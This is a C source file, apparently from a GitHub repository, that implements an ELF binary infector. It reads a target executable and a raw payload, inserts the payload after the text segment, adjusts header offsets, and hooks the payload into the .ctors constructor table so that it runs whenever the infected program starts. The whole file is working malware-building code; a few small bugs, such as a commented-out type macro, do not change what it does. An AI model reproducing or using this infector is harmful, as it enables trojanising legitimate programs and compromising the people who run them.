-
Notifications
You must be signed in to change notification settings - Fork 5
/
keebler_generic.c
200 lines (174 loc) · 6.54 KB
/
keebler_generic.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <math.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <elf.h>
//what kind of elfs are we dealinth with yo?
//yay polymorphism via macros!
//#define ELFN(x) Elf64_ ## x
char usage[] =
"usage: %s target payload result\n\
\n\
Note: payload must be in flat binary format.\n\
";
int main(int argc, char *argv[]){
if( argc != 4 ){
printf(usage, argv[0]);
return 1;
}
void *target;
off_t targetSize;
void *infected;
off_t infectedSize;
void *payload;
off_t payloadSize;
int i, j;
ELFN(Phdr) *programHeader;
ELFN(Shdr) *sectionHeader;
if( readFile(argv[1], &target, &targetSize) != 0 ){
fprintf(stderr, "Could not open file '%s'\n", argv[1]);
return -1;
}
if( readFile(argv[2], &payload, &payloadSize) != 0 ){
fprintf(stderr, "Could not open file '%s'\n", argv[1]);
return -1;
}
//set up the headers and tables for the target file
ELFN(Ehdr) *targetElfHeader = target;
ELFN(Phdr) *targetProgramHeaderTable = target + targetElfHeader->e_phoff;
ELFN(Shdr) *targetSectionHeaderTable = target + targetElfHeader->e_shoff;
//find the string table
ELFN(Shdr) *targetStringTable = targetSectionHeaderTable + targetElfHeader->e_shstrndx;
char* targetStringTableValues = target + targetStringTable->sh_offset;
//find the segment containing .text
for( i = 0, programHeader = targetProgramHeaderTable;
i < targetElfHeader->e_phnum;
i++, programHeader++ ){
//assume it's the segment that is LOAD and also only readable and executable and at offset 0
if( programHeader->p_type == PT_LOAD && programHeader->p_flags & (PF_R | PF_X) && programHeader->p_offset == 0){
break;
}
}
if( i >= targetElfHeader->e_phnum ){
fprintf(stderr, "Could not find the segment containing .text\n");
return -1;
}
//find the nearest power of 8 that will hold the payload
size_t alignedPayloadSize;
size_t alignment = programHeader->p_align;
size_t ctorBufferSize = sizeof(ELFN(Addr)); //how much more room do we need for our new ctors?
for(alignedPayloadSize=alignment; alignedPayloadSize < payloadSize + ctorBufferSize; alignedPayloadSize+=alignment){}
//allocate space for the new program header table and the payload
infectedSize = targetSize + alignedPayloadSize;
if( (infected = malloc(infectedSize)) == 0 ){
fprintf(stderr, "Unable to allocate memory for the infected binary.\nI hate my life.\n");
}
//copy over everything before any including that segment
memcpy(infected, target, programHeader->p_filesz);
//copy over the payload
memcpy(infected+programHeader->p_filesz, payload, payloadSize);
//set up the infected header and program header table
ELFN(Ehdr) *infectedElfHeader = infected;
ELFN(Phdr) *infectedProgramHeaderTable = infected + infectedElfHeader->e_phoff;
//increase the size of the segment containing text to include the payload
off_t payloadOffset = programHeader->p_filesz;
off_t payloadMemory = programHeader->p_vaddr + payloadOffset;
(infectedProgramHeaderTable + i)->p_filesz += payloadSize;
(infectedProgramHeaderTable + i)->p_memsz += payloadSize;
//copy over the rest of the file
memcpy(infected+payloadOffset+alignedPayloadSize, target+programHeader->p_filesz, targetSize-programHeader->p_filesz);
//set up the section header table
infectedElfHeader->e_shoff += alignedPayloadSize;
ELFN(Shdr) *infectedSectionHeaderTable = infected + infectedElfHeader->e_shoff;
char pushedBackCtors = 0;
for( i = 0, sectionHeader = infectedSectionHeaderTable;
i < infectedElfHeader->e_shnum;
i++, sectionHeader++ ){
if( sectionHeader->sh_offset == payloadOffset ){
sectionHeader->sh_offset += alignedPayloadSize - ctorBufferSize;
sectionHeader->sh_addr -= ctorBufferSize;
sectionHeader->sh_size += ctorBufferSize;
pushedBackCtors = 1;
}
else if( sectionHeader->sh_offset > payloadOffset ){
sectionHeader->sh_offset += alignedPayloadSize;
}
}
//update all offsets that were pushed back by the payload
for( i = 0, programHeader = infectedProgramHeaderTable;
i < infectedElfHeader->e_phnum;
i++, programHeader++ ){
//if it's right after the first LOAD segment, it likely contains the .ctors, so we want to
if( programHeader->p_offset == payloadOffset ){
programHeader->p_offset += alignedPayloadSize - ctorBufferSize;
programHeader->p_paddr -= ctorBufferSize;
programHeader->p_vaddr -= ctorBufferSize;
programHeader->p_filesz += ctorBufferSize;
programHeader->p_memsz += ctorBufferSize;
}
else if( programHeader->p_offset > payloadOffset ){
programHeader->p_offset += alignedPayloadSize;
}
}
//find the string table
ELFN(Shdr) *infectedStringTable = infectedSectionHeaderTable + infectedElfHeader->e_shstrndx;
char* infectedStringTableValues = infected + infectedStringTable->sh_offset;
//find the .ctors
ELFN(Shdr) *ctors;
i = 0;
for( i = 0, ctors = infectedSectionHeaderTable;
i < infectedElfHeader->e_shnum && strcmp(infectedStringTableValues + ctors->sh_name, ".ctors") != 0;
i++, ctors++ ){}
if( i >= infectedElfHeader->e_shnum){
fprintf(stderr, "Unable to locate the .ctors table. LAME!\n");
return -1;
}
//add our payload to the ctors
if( pushedBackCtors ){
*(ELFN(Addr)*)(infected+ctors->sh_offset) = -1;
*(((ELFN(Addr)*)(infected+ctors->sh_offset)) + 1) = payloadMemory;
} else { //there was already some buffer room for .ctors
*(ELFN(Addr)*)(infected+ctors->sh_offset) = payloadMemory;
*(((ELFN(Addr)*)(infected+ctors->sh_offset)) - 1) = -1;
}
//write out the newly infected file
if( writeFile(argv[3], infected, infectedSize) != 0){
fprintf(stderr, "Could not save the infected file to '%s'. You got the perms?\n", argv[2]);
return -1;
}
return 0;
}
//assigns buffer and size to the size and location on the heap of the files contents
//returns 0 on success, -1 on failure
int readFile(char *path, void **buffer, off_t *size){
//get the file size
struct stat fileInfo;
if( stat(path, &fileInfo) != 0 ){
return -1;
}
//allocate some space on the heap
*size = fileInfo.st_size;
if( (*buffer = malloc(fileInfo.st_size)) == 0){
return -1;
}
//read in the file
FILE *fp;
if( (fp = fopen(path, "r")) == 0 ){
free(*buffer);
return -1;
}
fread(*buffer, 1, *size, fp);
fclose(fp);
return 0;
}
int writeFile(char *path, void *buffer, off_t size){
FILE *fp;
if( (fp = fopen(path, "w")) == 0 ){
return -1;
}
fwrite(buffer, 1, size, fp);
fclose(fp);
}